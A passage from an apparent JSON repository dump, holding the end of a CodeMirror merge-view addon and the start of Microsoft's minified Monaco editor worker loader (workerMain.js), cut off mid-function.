cm.on(\"markerAdded\", function(_, marker) {\n      if (!marker.collapsed) return\n      var found = marker.find(1)\n      if (found != null) self.set(found.line, F_MARKER)\n    })\n    cm.on(\"markerCleared\", function(_, marker, _min, max) {\n      if (max != null && marker.collapsed)\n        self.check(max, F_MARKER, self.hasMarker)\n    })\n    cm.on(\"markerChanged\", this.signal.bind(this))\n    cm.on(\"lineWidgetAdded\", function(_, widget, lineNo) {\n      if (widget.mergeSpacer) return\n      if (widget.above) self.set(lineNo - 1, F_WIDGET_BELOW)\n      else self.set(lineNo, F_WIDGET)\n    })\n    cm.on(\"lineWidgetCleared\", function(_, widget, lineNo) {\n      if (widget.mergeSpacer) return\n      if (widget.above) self.check(lineNo - 1, F_WIDGET_BELOW, self.hasWidgetBelow)\n      else self.check(lineNo, F_WIDGET, self.hasWidget)\n    })\n    cm.on(\"lineWidgetChanged\", this.signal.bind(this))\n    cm.on(\"change\", function(_, change) {\n      var start = change.from.line, nBefore = change.to.line - change.from.line\n      var nAfter = change.text.length - 1, end = start + nAfter\n      if (nBefore || nAfter) self.map(start, nBefore, nAfter)\n      self.check(end, F_MARKER, self.hasMarker)\n      if (nBefore || nAfter) self.check(change.from.line, F_MARKER, self.hasMarker)\n    })\n    cm.on(\"viewportChange\", function() {\n      if (self.cm.doc.height != self.height) self.signal()\n    })\n  }\n\n  TrackAlignable.prototype = {\n    signal: function() {\n      CodeMirror.signal(this, \"realign\")\n      this.height = this.cm.doc.height\n    },\n\n    set: function(n, flags) {\n      var pos = -1\n      for (; pos < this.alignable.length; pos += 2) {\n        var diff = this.alignable[pos] - n\n        if (diff == 0) {\n          if ((this.alignable[pos + 1] & flags) == flags) return\n          this.alignable[pos + 1] |= flags\n          this.signal()\n          return\n        }\n        if (diff > 0) break\n      }\n      this.signal()\n      this.alignable.splice(pos, 0, n, flags)\n    },\n\n    find: function(n) {\n      for (var i = 0; i < this.alignable.length; i += 2)\n        if (this.alignable[i] == n) return i\n      return -1\n    },\n\n    check: function(n, flag, pred) {\n      var found = this.find(n)\n      if (found == -1 || !(this.alignable[found + 1] & flag)) return\n      if (!pred.call(this, n)) {\n        this.signal()\n        var flags = this.alignable[found + 1] & ~flag\n        if (flags) this.alignable[found + 1] = flags\n        else this.alignable.splice(found, 2)\n      }\n    },\n\n    hasMarker: function(n) {\n      var handle = this.cm.getLineHandle(n)\n      if (handle.markedSpans) for (var i = 0; i < handle.markedSpans.length; i++)\n        if (handle.markedSpans[i].mark.collapsed && handle.markedSpans[i].to != null)\n          return true\n      return false\n    },\n\n    hasWidget: function(n) {\n      var handle = this.cm.getLineHandle(n)\n      if (handle.widgets) for (var i = 0; i < handle.widgets.length; i++)\n        if (!handle.widgets[i].above && !handle.widgets[i].mergeSpacer) return true\n      return false\n    },\n\n    hasWidgetBelow: function(n) {\n      if (n == this.cm.lastLine()) return false\n      var handle = this.cm.getLineHandle(n + 1)\n      if (handle.widgets) for (var i = 0; i < handle.widgets.length; i++)\n        if (handle.widgets[i].above && !handle.widgets[i].mergeSpacer) return true\n      return false\n    },\n\n    map: function(from, nBefore, nAfter) {\n      var diff = nAfter - nBefore, to = from + nBefore, widgetFrom = -1, widgetTo = -1\n      for (var i = 0; i < this.alignable.length; i += 2) {\n        var n = this.alignable[i]\n        if (n == from && (this.alignable[i + 1] & F_WIDGET_BELOW)) widgetFrom = i\n        if (n == to && (this.alignable[i + 1] & F_WIDGET_BELOW)) widgetTo = i\n        if (n <= from) continue\n        else if (n < to) this.alignable.splice(i--, 2)\n        else this.alignable[i] += diff\n      }\n      if (widgetFrom > -1) {\n        var flags = this.alignable[widgetFrom + 1]\n        if (flags == F_WIDGET_BELOW) this.alignable.splice(widgetFrom, 2)\n        else this.alignable[widgetFrom + 1] = flags & ~F_WIDGET_BELOW\n      }\n      if (widgetTo > -1 && nAfter)\n        this.set(from + nAfter, F_WIDGET_BELOW)\n    }\n  }\n\n  function posMin(a, b) { return (a.line - b.line || a.ch - b.ch) < 0 ? a : b; }\n  function posMax(a, b) { return (a.line - b.line || a.ch - b.ch) > 0 ? a : b; }\n  function posEq(a, b) { return a.line == b.line && a.ch == b.ch; }\n\n  function findPrevDiff(chunks, start, isOrig) {\n    for (var i = chunks.length - 1; i >= 0; i--) {\n      var chunk = chunks[i];\n      var to = (isOrig ? chunk.origTo : chunk.editTo) - 1;\n      if (to < start) return to;\n    }\n  }\n\n  function findNextDiff(chunks, start, isOrig) {\n    for (var i = 0; i < chunks.length; i++) {\n      var chunk = chunks[i];\n      var from = (isOrig ? chunk.origFrom : chunk.editFrom);\n      if (from > start) return from;\n    }\n  }\n\n  function goNearbyDiff(cm, dir) {\n    var found = null, views = cm.state.diffViews, line = cm.getCursor().line;\n    if (views) for (var i = 0; i < views.length; i++) {\n      var dv = views[i], isOrig = cm == dv.orig;\n      ensureDiff(dv);\n      var pos = dir < 0 ? findPrevDiff(dv.chunks, line, isOrig) : findNextDiff(dv.chunks, line, isOrig);\n      if (pos != null && (found == null || (dir < 0 ? pos > found : pos < found)))\n        found = pos;\n    }\n    if (found != null)\n      cm.setCursor(found, 0);\n    else\n      return CodeMirror.Pass;\n  }\n\n  CodeMirror.commands.goNextDiff = function(cm) {\n    return goNearbyDiff(cm, 1);\n  };\n  CodeMirror.commands.goPrevDiff = function(cm) {\n    return goNearbyDiff(cm, -1);\n  };\n});\n"
  },
  {
    "path": "console/src/main/resources/static/console-ui/public/js/vs/base/worker/workerMain.js",
    "content": "/*!-----------------------------------------------------------\n * Copyright (c) Microsoft Corporation. All rights reserved.\n * Version: 0.10.1(ebbf400719be21761361804bf63fb3916e64a845)\n * Released under the MIT license\n * https://github.com/Microsoft/vscode/blob/master/LICENSE.txt\n *-----------------------------------------------------------*/\n(function(){var e=[\"exports\",\"require\",\"vs/base/common/winjs.base\",\"vs/editor/common/core/position\",\"vs/base/common/platform\",\"vs/editor/common/core/range\",\"vs/base/common/uri\",\"vs/editor/common/core/uint\",\"vs/base/common/errors\",\"vs/base/common/event\",\"vs/base/common/lifecycle\",\"vs/base/common/functional\",\"vs/base/common/diff/diff\",\"vs/base/common/cancellation\",\"vs/base/common/types\",\"vs/base/common/callbackList\",\"vs/base/common/diff/diffChange\",\"vs/base/common/map\",\"vs/base/common/async\",\"vs/editor/common/viewModel/prefixSumComputer\",\"vs/base/common/strings\",\"vs/base/common/keyCodes\",\"vs/editor/common/core/selection\",\"vs/editor/common/core/token\",\"vs/editor/common/model/mirrorModel\",\"vs/editor/common/core/characterClassifier\",\"vs/editor/common/diff/diffComputer\",\"vs/editor/common/model/wordHelper\",\"vs/editor/common/modes/linkComputer\",\"vs/editor/common/modes/supports/inplaceReplaceSupport\",\"vs/editor/common/standalone/standaloneBase\",\"vs/base/common/worker/simpleWorker\",\"vs/base/common/winjs.base.raw\",\"vs/editor/common/services/editorSimpleWorker\"],t=function(t){for(var n=[],r=0,i=t.length;r<i;r++)n[r]=e[t[r]];return n},n=this;!function(e){e.global=n;var t=function(){function t(e){this.isWindows=e.isWindows,this.isNode=e.isNode,this.isElectronRenderer=e.isElectronRenderer,this.isWebWorker=e.isWebWorker}return t.detect=function(){return new t({isWindows:this._isWindows(),isNode:\"undefined\"!=typeof module&&!!module.exports,isElectronRenderer:\"undefined\"!=typeof process&&void 0!==process.versions&&void 0!==process.versions.electron&&\"renderer\"===process.type,isWebWorker:\"function\"==typeof e.global.importScripts})},t._isWindows=function(){return!!(\"undefined\"!=typeof navigator&&navigator.userAgent&&navigator.userAgent.indexOf(\"Windows\")>=0)||\"undefined\"!=typeof process&&\"win32\"===process.platform},t}();e.Environment=t}(i||(i={}));!function(e){var t;!function(e){e[e.LoaderAvailable=1]=\"LoaderAvailable\",e[e.BeginLoadingScript=10]=\"BeginLoadingScript\",e[e.EndLoadingScriptOK=11]=\"EndLoadingScriptOK\",e[e.EndLoadingScriptError=12]=\"EndLoadingScriptError\",e[e.BeginInvokeFactory=21]=\"BeginInvokeFactory\",e[e.EndInvokeFactory=22]=\"EndInvokeFactory\",e[e.NodeBeginEvaluatingScript=31]=\"NodeBeginEvaluatingScript\",e[e.NodeEndEvaluatingScript=32]=\"NodeEndEvaluatingScript\",e[e.NodeBeginNativeRequire=33]=\"NodeBeginNativeRequire\",e[e.NodeEndNativeRequire=34]=\"NodeEndNativeRequire\"}(t=e.LoaderEventType||(e.LoaderEventType={}));var n=function(){return function(e,t,n){this.type=e,this.detail=t,this.timestamp=n}}();e.LoaderEvent=n;var r=function(){function r(e){this._events=[new n(t.LoaderAvailable,\"\",e)]}return r.prototype.record=function(t,r){this._events.push(new n(t,r,e.Utilities.getHighPerformanceTimestamp()))},r.prototype.getEvents=function(){return this._events},r}();e.LoaderEventRecorder=r;var i=function(){function e(){}return e.prototype.record=function(e,t){},e.prototype.getEvents=function(){return[]},e}();i.INSTANCE=new i,e.NullLoaderEventRecorder=i}(i||(i={}));!function(e){var t=function(){function t(){}return t.fileUriToFilePath=function(e,t){if(t=decodeURI(t),e){if(/^file:\\/\\/\\//.test(t))return t.substr(8);if(/^file:\\/\\//.test(t))return t.substr(5)}else if(/^file:\\/\\//.test(t))return t.substr(7);return t},t.startsWith=function(e,t){return e.length>=t.length&&e.substr(0,t.length)===t},t.endsWith=function(e,t){return e.length>=t.length&&e.substr(e.length-t.length)===t},t.containsQueryString=function(e){return/^[^\\#]*\\?/gi.test(e)},t.isAbsolutePath=function(e){return/^((http:\\/\\/)|(https:\\/\\/)|(file:\\/\\/)|(\\/))/.test(e)},t.forEachProperty=function(e,t){if(e){var n=void 0;for(n in e)e.hasOwnProperty(n)&&t(n,e[n])}},t.isEmpty=function(e){var n=!0;return t.forEachProperty(e,function(){n=!1}),n},t.recursiveClone=function(e){if(!e||\"object\"!=typeof e)return e;var n=Array.isArray(e)?[]:{};return t.forEachProperty(e,function(e,r){n[e]=r&&\"object\"==typeof r?t.recursiveClone(r):r}),n},t.generateAnonymousModule=function(){return\"===anonymous\"+t.NEXT_ANONYMOUS_ID+++\"===\"},t.isAnonymousModule=function(e){return/^===anonymous/.test(e)},t.getHighPerformanceTimestamp=function(){return this.PERFORMANCE_NOW_PROBED||(this.PERFORMANCE_NOW_PROBED=!0,this.HAS_PERFORMANCE_NOW=e.global.performance&&\"function\"==typeof e.global.performance.now),this.HAS_PERFORMANCE_NOW?e.global.performance.now():Date.now()},t}();t.NEXT_ANONYMOUS_ID=1,t.PERFORMANCE_NOW_PROBED=!1,t.HAS_PERFORMANCE_NOW=!1,e.Utilities=t}(i||(i={}));!function(e){var t=function(){function t(){}return t.validateConfigurationOptions=function(t,n){return\"string\"!=typeof(n=n||{}).baseUrl&&(n.baseUrl=\"\"),\"boolean\"!=typeof n.isBuild&&(n.isBuild=!1),\"object\"!=typeof n.paths&&(n.paths={}),\"object\"!=typeof n.config&&(n.config={}),void 0===n.catchError&&(n.catchError=t),\"string\"!=typeof n.urlArgs&&(n.urlArgs=\"\"),\"function\"!=typeof n.onError&&(n.onError=function(e){return\"load\"===e.errorCode?(console.error('Loading \"'+e.moduleId+'\" failed'),console.error(\"Detail: \",e.detail),e.detail&&e.detail.stack&&console.error(e.detail.stack),console.error(\"Here are the modules that depend on it:\"),void console.error(e.neededBy)):\"factory\"===e.errorCode?(console.error('The factory method of \"'+e.moduleId+'\" has thrown an exception'),console.error(e.detail),void(e.detail&&e.detail.stack&&console.error(e.detail.stack))):void 0}),\"object\"==typeof n.ignoreDuplicateModules&&Array.isArray(n.ignoreDuplicateModules)||(n.ignoreDuplicateModules=[]),n.baseUrl.length>0&&(e.Utilities.endsWith(n.baseUrl,\"/\")||(n.baseUrl+=\"/\")),Array.isArray(n.nodeModules)||(n.nodeModules=[]),(\"number\"!=typeof n.nodeCachedDataWriteDelay||n.nodeCachedDataWriteDelay<0)&&(n.nodeCachedDataWriteDelay=7e3),\"function\"!=typeof n.onNodeCachedData&&(n.onNodeCachedData=function(e,t){e&&(\"cachedDataRejected\"===e.errorCode?console.warn(\"Rejected cached data from file: \"+e.path):\"unlink\"===e.errorCode||\"writeFile\"===e.errorCode?(console.error(\"Problems writing cached data file: \"+e.path),console.error(e.detail)):console.error(e))}),n},t.mergeConfigurationOptions=function(n,r,i){void 0===r&&(r=null),void 0===i&&(i=null);var o=e.Utilities.recursiveClone(i||{});return e.Utilities.forEachProperty(r,function(t,n){\"ignoreDuplicateModules\"===t&&void 0!==o.ignoreDuplicateModules?o.ignoreDuplicateModules=o.ignoreDuplicateModules.concat(n):\"paths\"===t&&void 0!==o.paths?e.Utilities.forEachProperty(n,function(e,t){return o.paths[e]=t}):\"config\"===t&&void 0!==o.config?e.Utilities.forEachProperty(n,function(e,t){return o.config[e]=t}):o[t]=e.Utilities.recursiveClone(n)}),t.validateConfigurationOptions(n,o)},t}();e.ConfigurationOptionsUtil=t;var n=function(){function n(e,n){if(this._env=e,this.options=t.mergeConfigurationOptions(this._env.isWebWorker,n),this._createIgnoreDuplicateModulesMap(),this._createNodeModulesMap(),this._createSortedPathsRules(),\"\"===this.options.baseUrl){if(this._env.isNode&&this.options.nodeRequire&&this.options.nodeRequire.main&&this.options.nodeRequire.main.filename){var r=this.options.nodeRequire.main.filename,i=Math.max(r.lastIndexOf(\"/\"),r.lastIndexOf(\"\\\\\"));this.options.baseUrl=r.substring(0,i+1)}if(this._env.isNode&&this.options.nodeMain){var r=this.options.nodeMain,i=Math.max(r.lastIndexOf(\"/\"),r.lastIndexOf(\"\\\\\"));this.options.baseUrl=r.substring(0,i+1)}}}return n.prototype._createIgnoreDuplicateModulesMap=function(){this.ignoreDuplicateModulesMap={};for(var e=0;e<this.options.ignoreDuplicateModules.length;e++)this.ignoreDuplicateModulesMap[this.options.ignoreDuplicateModules[e]]=!0},n.prototype._createNodeModulesMap=function(){this.nodeModulesMap=Object.create(null);for(var e=0,t=this.options.nodeModules;e<t.length;e++){var n=t[e];this.nodeModulesMap[n]=!0}},n.prototype._createSortedPathsRules=function(){var t=this;this.sortedPathsRules=[],e.Utilities.forEachProperty(this.options.paths,function(e,n){Array.isArray(n)?t.sortedPathsRules.push({from:e,to:n}):t.sortedPathsRules.push({from:e,to:[n]})}),this.sortedPathsRules.sort(function(e,t){return t.from.length-e.from.length})},n.prototype.cloneAndMerge=function(e){return new n(this._env,t.mergeConfigurationOptions(this._env.isWebWorker,e,this.options))},n.prototype.getOptionsLiteral=function(){return this.options},n.prototype._applyPaths=function(t){for(var n,r=0,i=this.sortedPathsRules.length;r<i;r++)if(n=this.sortedPathsRules[r],e.Utilities.startsWith(t,n.from)){for(var o=[],s=0,u=n.to.length;s<u;s++)o.push(n.to[s]+t.substr(n.from.length));return o}return[t]},n.prototype._addUrlArgsToUrl=function(t){return e.Utilities.containsQueryString(t)?t+\"&\"+this.options.urlArgs:t+\"?\"+this.options.urlArgs},n.prototype._addUrlArgsIfNecessaryToUrl=function(e){return this.options.urlArgs?this._addUrlArgsToUrl(e):e},n.prototype._addUrlArgsIfNecessaryToUrls=function(e){if(this.options.urlArgs)for(var t=0,n=e.length;t<n;t++)e[t]=this._addUrlArgsToUrl(e[t]);return e},n.prototype.moduleIdToPaths=function(t){if(!0===this.nodeModulesMap[t])return this.isBuild()?[\"empty:\"]:[\"node|\"+t];var n,r=t;if(e.Utilities.endsWith(r,\".js\")||e.Utilities.isAbsolutePath(r))e.Utilities.endsWith(r,\".js\")||e.Utilities.containsQueryString(r)||(r+=\".js\"),n=[r];else for(var i=0,o=(n=this._applyPaths(r)).length;i<o;i++)this.isBuild()&&\"empty:\"===n[i]||(e.Utilities.isAbsolutePath(n[i])||(n[i]=this.options.baseUrl+n[i]),e.Utilities.endsWith(n[i],\".js\")||e.Utilities.containsQueryString(n[i])||(n[i]=n[i]+\".js\"));return this._addUrlArgsIfNecessaryToUrls(n)},n.prototype.requireToUrl=function(t){var n=t;return e.Utilities.isAbsolutePath(n)||(n=this._applyPaths(n)[0],e.Utilities.isAbsolutePath(n)||(n=this.options.baseUrl+n)),this._addUrlArgsIfNecessaryToUrl(n)},n.prototype.isBuild=function(){return this.options.isBuild},n.prototype.isDuplicateMessageIgnoredFor=function(e){return this.ignoreDuplicateModulesMap.hasOwnProperty(e)},n.prototype.getConfigForModule=function(e){if(this.options.config)return this.options.config[e]},n.prototype.shouldCatchError=function(){return this.options.catchError},n.prototype.shouldRecordStats=function(){return this.options.recordStats},n.prototype.onError=function(e){this.options.onError(e)},n}();e.Configuration=n}(i||(i={}));!function(e){var t=function(){function e(e){this.actualScriptLoader=e,this.callbackMap={}}return e.prototype.load=function(e,t,n,r){var i=this,o={callback:n,errorback:r};this.callbackMap.hasOwnProperty(t)?this.callbackMap[t].push(o):(this.callbackMap[t]=[o],this.actualScriptLoader.load(e,t,function(){return i.triggerCallback(t)},function(e){return i.triggerErrorback(t,e)}))},e.prototype.triggerCallback=function(e){var t=this.callbackMap[e];delete this.callbackMap[e];for(var n=0;n<t.length;n++)t[n].callback()},e.prototype.triggerErrorback=function(e,t){var n=this.callbackMap[e];delete this.callbackMap[e];for(var r=0;r<n.length;r++)n[r].errorback(t)},e}(),n=function(){function e(){}return e.prototype.attachListeners=function(e,t,n){var r=function(){e.removeEventListener(\"load\",i),e.removeEventListener(\"error\",o)},i=function(e){r(),t()},o=function(e){r(),n(e)};e.addEventListener(\"load\",i),e.addEventListener(\"error\",o)},e.prototype.load=function(e,t,n,r){var i=document.createElement(\"script\");i.setAttribute(\"async\",\"async\"),i.setAttribute(\"type\",\"text/javascript\"),this.attachListeners(i,n,r),i.setAttribute(\"src\",t),document.getElementsByTagName(\"head\")[0].appendChild(i)},e}(),r=function(){function e(){}return e.prototype.load=function(e,t,n,r){try{importScripts(t),n()}catch(e){r(e)}},e}(),i=function(){function t(e){this._env=e,this._didInitialize=!1,this._didPatchNodeRequire=!1}return t.prototype._init=function(e){if(!this._didInitialize){this._didInitialize=!0,this._fs=e(\"fs\"),this._vm=e(\"vm\"),this._path=e(\"path\"),this._crypto=e(\"crypto\"),this._jsflags=\"\";for(var t=0,n=process.argv;t<n.length;t++){var r=n[t];if(0===r.indexOf(\"--js-flags=\")){this._jsflags=r;break}}}},t.prototype._initNodeRequire=function(t,n){function r(e){var t=e.constructor,n=function(t){try{return e.require(t)}finally{}};return n.resolve=function(n){return t._resolveFilename(n,e)},n.main=process.mainModule,n.extensions=t._extensions,n.cache=t._cache,n}var i=n.getConfig().getOptionsLiteral().nodeCachedDataDir;if(i&&!this._didPatchNodeRequire){this._didPatchNodeRequire=!0;var o=this,s=t(\"module\");s.prototype._compile=function(t,u){t=t.replace(/^#!.*/,\"\");var a=s.wrap(t),l=o._getCachedDataPath(i,u),c={filename:u};try{c.cachedData=o._fs.readFileSync(l)}catch(e){c.produceCachedData=!0}var f=new o._vm.Script(a,c),h=f.runInThisContext(c),d=o._path.dirname(u),p=r(this),m=[this.exports,p,this,u,d,process,e.global,Buffer],_=h.apply(this.exports,m);return o._processCachedData(n,f,l),_}}},t.prototype.load=function(n,r,i,o){var s=this,u=n.getConfig().getOptionsLiteral(),a=u.nodeRequire||e.global.nodeRequire,l=u.nodeInstrumenter||function(e){return e};this._init(a),this._initNodeRequire(a,n);var c=n.getRecorder();if(/^node\\|/.test(r)){var f=r.split(\"|\"),h=null;try{h=a(f[1])}catch(e){return void o(e)}n.enqueueDefineAnonymousModule([],function(){return h}),i()}else r=e.Utilities.fileUriToFilePath(this._env.isWindows,r),this._fs.readFile(r,{encoding:\"utf8\"},function(e,a){if(e)o(e);else{var f=s._path.normalize(r),h=f;if(s._env.isElectronRenderer){var d=h.match(/^([a-z])\\:(.*)/i);h=d?\"file:///\"+(d[1].toUpperCase()+\":\"+d[2]).replace(/\\\\/g,\"/\"):\"file://\"+h}var p,m=\"(function (require, define, __filename, __dirname) { \";if(p=a.charCodeAt(0)===t._BOM?m+a.substring(1)+\"\\n});\":m+a+\"\\n});\",p=l(p,f),u.nodeCachedDataDir){var _=s._getCachedDataPath(u.nodeCachedDataDir,r);s._fs.readFile(_,function(e,t){var o={filename:h,produceCachedData:void 0===t,cachedData:t},u=s._loadAndEvalScript(n,r,h,p,o,c);i(),s._processCachedData(n,u,_)})}else s._loadAndEvalScript(n,r,h,p,{filename:h},c),i()}})},t.prototype._loadAndEvalScript=function(t,n,r,i,o,s){s.record(e.LoaderEventType.NodeBeginEvaluatingScript,n);var u=new this._vm.Script(i,o);return u.runInThisContext(o).call(e.global,t.getGlobalAMDRequireFunc(),t.getGlobalAMDDefineFunc(),r,this._path.dirname(n)),s.record(e.LoaderEventType.NodeEndEvaluatingScript,n),u},t.prototype._getCachedDataPath=function(e,t){var n=this._crypto.createHash(\"md5\").update(t,\"utf8\").update(this._jsflags,\"utf8\").digest(\"hex\"),r=this._path.basename(t).replace(/\\.js$/,\"\");return this._path.join(e,r+\"-\"+n+\".code\")},t.prototype._processCachedData=function(e,n,r){var i=this;n.cachedDataRejected?(e.getConfig().getOptionsLiteral().onNodeCachedData({errorCode:\"cachedDataRejected\",path:r}),t._runSoon(function(){return i._fs.unlink(r,function(t){t&&e.getConfig().getOptionsLiteral().onNodeCachedData({errorCode:\"unlink\",path:r,detail:t})})},e.getConfig().getOptionsLiteral().nodeCachedDataWriteDelay)):n.cachedDataProduced&&(e.getConfig().getOptionsLiteral().onNodeCachedData(void 0,{path:r,length:n.cachedData.length}),t._runSoon(function(){return i._fs.writeFile(r,n.cachedData,function(t){t&&e.getConfig().getOptionsLiteral().onNodeCachedData({errorCode:\"writeFile\",path:r,detail:t})})},e.getConfig().getOptionsLiteral().nodeCachedDataWriteDelay))},t._runSoon=function(e,t){var n=t+Math.ceil(Math.random()*t);setTimeout(e,n)},t}();i._BOM=65279,e.createScriptLoader=function(e){return new t(e.isWebWorker?new r:e.isNode?new i(e):new n)}}(i||(i={}));!function(e){var t=function(){function t(e){var t=e.lastIndexOf(\"/\");this.fromModulePath=-1!==t?e.substr(0,t+1):\"\"}return t._normalizeModuleId=function(e){var t,n=e;for(t=/\\/\\.\\//;t.test(n);)n=n.replace(t,\"/\");for(n=n.replace(/^\\.\\//g,\"\"),t=/\\/(([^\\/])|([^\\/][^\\/\\.])|([^\\/\\.][^\\/])|([^\\/][^\\/][^\\/]+))\\/\\.\\.\\//;t.test(n);)n=n.replace(t,\"/\");return n=n.replace(/^(([^\\/])|([^\\/][^\\/\\.])|([^\\/\\.][^\\/])|([^\\/][^\\/][^\\/]+))\\/\\.\\.\\//,\"\")},t.prototype.resolveModule=function(n){var r=n;return e.Utilities.isAbsolutePath(r)||(e.Utilities.startsWith(r,\"./\")||e.Utilities.startsWith(r,\"../\"))&&(r=t._normalizeModuleId(this.fromModulePath+r)),r},t}();t.ROOT=new t(\"\"),e.ModuleIdResolver=t;var n=function(){function t(e,t,n,r,i,o){this.id=e,this.strId=t,this.dependencies=n,this._callback=r,this._errorback=i,this.moduleIdResolver=o,this.exports={},this.exportsPassedIn=!1,this.unresolvedDependenciesCount=this.dependencies.length,this._isComplete=!1}return t._safeInvokeFunction=function(t,n){try{return{returnedValue:t.apply(e.global,n),producedError:null}}catch(e){return{returnedValue:null,producedError:e}}},t._invokeFactory=function(t,n,r,i){return t.isBuild()&&!e.Utilities.isAnonymousModule(n)?{returnedValue:null,producedError:null}:t.shouldCatchError()?this._safeInvokeFunction(r,i):{returnedValue:r.apply(e.global,i),producedError:null}},t.prototype.complete=function(n,r,i){this._isComplete=!0;var o=null;if(this._callback)if(\"function\"==typeof this._callback){n.record(e.LoaderEventType.BeginInvokeFactory,this.strId);var s=t._invokeFactory(r,this.strId,this._callback,i);o=s.producedError,n.record(e.LoaderEventType.EndInvokeFactory,this.strId),o||void 0===s.returnedValue||this.exportsPassedIn&&!e.Utilities.isEmpty(this.exports)||(this.exports=s.returnedValue)}else this.exports=this._callback;o&&r.onError({errorCode:\"factory\",moduleId:this.strId,detail:o}),this.dependencies=null,this._callback=null,this._errorback=null,this.moduleIdResolver=null},t.prototype.onDependencyError=function(e){return!!this._errorback&&(this._errorback(e),!0)},t.prototype.isComplete=function(){return this._isComplete},t}();e.Module=n;var r=function(){function e(){this._nextId=0,this._strModuleIdToIntModuleId=new Map,this._intModuleIdToStrModuleId=[],this.getModuleId(\"exports\"),this.getModuleId(\"module\"),this.getModuleId(\"require\")}return e.prototype.getMaxModuleId=function(){return this._nextId},e.prototype.getModuleId=function(e){var t=this._strModuleIdToIntModuleId.get(e);return void 0===t&&(t=this._nextId++,this._strModuleIdToIntModuleId.set(e,t),this._intModuleIdToStrModuleId[t]=e),t},e.prototype.getStrModuleId=function(e){return this._intModuleIdToStrModuleId[e]},e}(),i=function(){return function(e){this.id=e}}();i.EXPORTS=new i(0),i.MODULE=new i(1),i.REQUIRE=new i(2),e.RegularDependency=i;var o=function(){return function(e,t,n){this.id=e,this.pluginId=t,this.pluginParam=n}}();e.PluginDependency=o;var s=function(){function s(t,n,i,o,s){void 0===s&&(s=0),this._env=t,this._scriptLoader=n,this._loaderAvailableTimestamp=s,this._defineFunc=i,this._requireFunc=o,this._moduleIdProvider=new r,this._config=new e.Configuration(this._env),this._modules2=[],this._knownModules2=[],this._inverseDependencies2=[],this._inversePluginDependencies2=new Map,this._currentAnnonymousDefineCall=null,this._recorder=null,this._buildInfoPath=[],this._buildInfoDefineStack=[],this._buildInfoDependencies=[]}return s.prototype.reset=function(){return new s(this._env,this._scriptLoader,this._defineFunc,this._requireFunc,this._loaderAvailableTimestamp)},s.prototype.getGlobalAMDDefineFunc=function(){return this._defineFunc},s.prototype.getGlobalAMDRequireFunc=function(){return this._requireFunc},s._findRelevantLocationInStack=function(e,t){for(var n=function(e){return e.replace(/\\\\/g,\"/\")},r=n(e),i=t.split(/\\n/),o=0;o<i.length;o++){var s=i[o].match(/(.*):(\\d+):(\\d+)\\)?$/);if(s){var u=s[1],a=s[2],l=s[3],c=Math.max(u.lastIndexOf(\" \")+1,u.lastIndexOf(\"(\")+1);if(u=u.substr(c),(u=n(u))===r){var f={line:parseInt(a,10),col:parseInt(l,10)};return 1===f.line&&(f.col-=\"(function (require, define, __filename, __dirname) { \".length),f}}}throw new Error(\"Could not correlate define call site for needle \"+e)},s.prototype.getBuildInfo=function(){if(!this._config.isBuild())return null;for(var e=[],t=0,n=0,r=this._modules2.length;n<r;n++){var i=this._modules2[n];if(i){var o=this._buildInfoPath[i.id]||null,u=this._buildInfoDefineStack[i.id]||null,a=this._buildInfoDependencies[i.id];e[t++]={id:i.strId,path:o,defineLocation:o&&u?s._findRelevantLocationInStack(o,u):null,dependencies:a,shim:null,exports:i.exports}}}return e},s.prototype.getRecorder=function(){return this._recorder||(this._config.shouldRecordStats()?this._recorder=new e.LoaderEventRecorder(this._loaderAvailableTimestamp):this._recorder=e.NullLoaderEventRecorder.INSTANCE),this._recorder},s.prototype.getLoaderEvents=function(){return this.getRecorder().getEvents()},s.prototype.enqueueDefineAnonymousModule=function(e,t){if(null!==this._currentAnnonymousDefineCall)throw new Error(\"Can only have one anonymous define call per script file\");var n=null;this._config.isBuild()&&(n=new Error(\"StackLocation\").stack),this._currentAnnonymousDefineCall={stack:n,dependencies:e,callback:t}},s.prototype.defineModule=function(e,r,i,o,s,u){var a=this;void 0===u&&(u=new t(e));var l=this._moduleIdProvider.getModuleId(e);if(this._modules2[l])this._config.isDuplicateMessageIgnoredFor(e)||console.warn(\"Duplicate definition of module '\"+e+\"'\");else{var c=new n(l,e,this._normalizeDependencies(r,u),i,o,u);this._modules2[l]=c,this._config.isBuild()&&(this._buildInfoDefineStack[l]=s,this._buildInfoDependencies[l]=c.dependencies.map(function(e){return a._moduleIdProvider.getStrModuleId(e.id)})),this._resolve(c)}},s.prototype._normalizeDependency=function(e,t){if(\"exports\"===e)return i.EXPORTS;if(\"module\"===e)return i.MODULE;if(\"require\"===e)return i.REQUIRE;var n=e.indexOf(\"!\");if(n>=0){var r=t.resolveModule(e.substr(0,n)),s=t.resolveModule(e.substr(n+1)),u=this._moduleIdProvider.getModuleId(r+\"!\"+s),a=this._moduleIdProvider.getModuleId(r);return new o(u,a,s)}return new i(this._moduleIdProvider.getModuleId(t.resolveModule(e)))},s.prototype._normalizeDependencies=function(e,t){for(var n=[],r=0,i=0,o=e.length;i<o;i++)n[r++]=this._normalizeDependency(e[i],t);return n},s.prototype._relativeRequire=function(t,n,r,i){if(\"string\"==typeof n)return this.synchronousRequire(n,t);this.defineModule(e.Utilities.generateAnonymousModule(),n,r,i,null,t)},s.prototype.synchronousRequire=function(e,n){void 0===n&&(n=new t(e));var r=this._normalizeDependency(e,n),i=this._modules2[r.id];if(!i)throw new Error(\"Check dependency list! Synchronous require cannot resolve module '\"+e+\"'. This is the first mention of this module!\");if(!i.isComplete())throw new Error(\"Check dependency list! Synchronous require cannot resolve module '\"+e+\"'. This module has not been resolved completely yet.\");return i.exports},s.prototype.configure=function(t,n){var r=this._config.shouldRecordStats();this._config=n?new e.Configuration(this._env,t):this._config.cloneAndMerge(t),this._config.shouldRecordStats()&&!r&&(this._recorder=null)},s.prototype.getConfig=function(){return this._config},s.prototype._onLoad=function(e){if(null!==this._currentAnnonymousDefineCall){var t=this._currentAnnonymousDefineCall;this._currentAnnonymousDefineCall=null,this.defineModule(this._moduleIdProvider.getStrModuleId(e),t.dependencies,t.callback,null,t.stack)}},s.prototype._createLoadError=function(e,t){var n=this;return{errorCode:\"load\",moduleId:this._moduleIdProvider.getStrModuleId(e),neededBy:(this._inverseDependencies2[e]||[]).map(function(e){return n._moduleIdProvider.getStrModuleId(e)}),detail:t}},s.prototype._onLoadError=function(e,t){for(var n=this._createLoadError(e,t),r=[],i=0,o=this._moduleIdProvider.getMaxModuleId();i<o;i++)r[i]=!1;var s=!1,u=[];for(u.push(e),r[e]=!0;u.length>0;){var 